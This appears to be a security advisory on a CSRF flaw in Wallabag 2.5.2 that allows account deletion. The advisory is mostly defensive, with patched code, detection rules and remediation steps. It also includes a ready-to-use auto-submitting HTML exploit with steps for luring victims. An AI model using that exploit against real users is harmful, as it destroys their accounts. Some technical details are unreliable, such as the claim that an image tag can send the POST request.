CVE-2023-0737

Executive Summary

CVE-2023-0737 is a Cross-Site Request Forgery (CSRF) vulnerability in Wallabag version 2.5.2, allowing attackers to arbitrarily delete user accounts via the /account/delete endpoint. The vulnerability is rated with a CVSS score of 6.5 (Medium) and is fixed in version 2.5.4. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the impact is high due to potential account deletion. This report provides a comprehensive technical analysis, detection rules, and remediation steps.

Supply Chain & Package Security

Wallabag is a PHP application distributed via GitHub and Composer. The vulnerability affects the core application logic, not a third-party package. Users should update to version 2.5.4 or later to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is medium due to the requirement for user interaction (e.g., clicking a malicious link), but the impact is high as it can lead to permanent account deletion.

Deep Dive & Mechanics

The vulnerability exists in the /account/delete endpoint of Wallabag 2.5.2. The endpoint lacks CSRF protection, meaning it does not validate a unique token or referrer header to ensure the request originates from the legitimate user. An attacker can craft a malicious HTML page or email that, when visited by an authenticated user, triggers a POST request to /account/delete, resulting in the deletion of the user's account.

The attack flow:

1. Attacker hosts a malicious page with an auto-submitting form or an image tag pointing to the vulnerable endpoint.
2. Victim, authenticated to Wallabag, visits the malicious page.
3. The browser sends a POST request to /account/delete with the victim's session cookie.
4. The server processes the request and deletes the victim's account.

Vulnerable vs. Patched Code

Vulnerable Code (2.5.2):

// In src/AppBundle/Controller/UserController.php
public function deleteAccountAction(Request $request)
{
    // No CSRF token check
    $user = $this->getUser();
    $entityManager = $this->getDoctrine()->getManager();
    $entityManager->remove($user);
    $entityManager->flush();
    // ...
}

Patched Code (2.5.4):

// In src/AppBundle/Controller/UserController.php
public function deleteAccountAction(Request $request)
{
    // CSRF token validation
    $csrfToken = $request->request->get('_csrf_token');
    if (!$this->isCsrfTokenValid('delete_account', $csrfToken)) {
        throw new AccessDeniedException('Invalid CSRF token.');
    }
    $user = $this->getUser();
    $entityManager = $this->getDoctrine()->getManager();
    $entityManager->remove($user);
    $entityManager->flush();
    // ...
}

The patch adds a CSRF token check using Symfony's built-in CSRF protection, ensuring that only requests with a valid token are processed.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker can create a malicious HTML page that auto-submits a form to the vulnerable endpoint.

Exploit HTML:

<html>
<body>
<form action="http://target-wallabag.com/account/delete" method="POST" id="csrf-form">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim, authenticated to Wallabag, visits the link, the form auto-submits and deletes their account.

Blue Team

To detect exploitation attempts, monitor for:

• Unusual POST requests to /account/delete without a valid CSRF token.
• Referrer headers from unknown or suspicious origins.
• Multiple account deletion requests in a short time frame.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /account/delete with no Referer header or from unexpected origins.
  • User-Agent strings associated with automated tools (e.g., Python requests, curl).
• Host IOCs:
  • Log entries showing account deletion without prior CSRF token validation.
  • Unusual session activity from IP addresses not associated with the user.

Detection Engineering

YARA Rule

rule CVE_2023_0737_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Wallabag /account/delete endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-0737"
    strings:
        $s1 = "/account/delete" ascii wide nocase
        $s2 = "POST" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Wallabag CSRF Account Deletion Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /account/delete without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /account/delete
    condition: selection
falsepositives:
    - Legitimate account deletion with valid CSRF token
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-0737 Wallabag CSRF Account Deletion Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/account/delete"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade Wallabag to version 2.5.4 or later.
2. Workaround: If immediate upgrade is not possible, implement a web application firewall (WAF) rule to block POST requests to /account/delete without a valid CSRF token.
3. Configuration: Ensure CSRF protection is enabled in Symfony configuration.
4. Monitoring: Enable logging for account deletion events and monitor for anomalies.
5. User Education: Advise users to avoid clicking suspicious links while authenticated to Wallabag.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert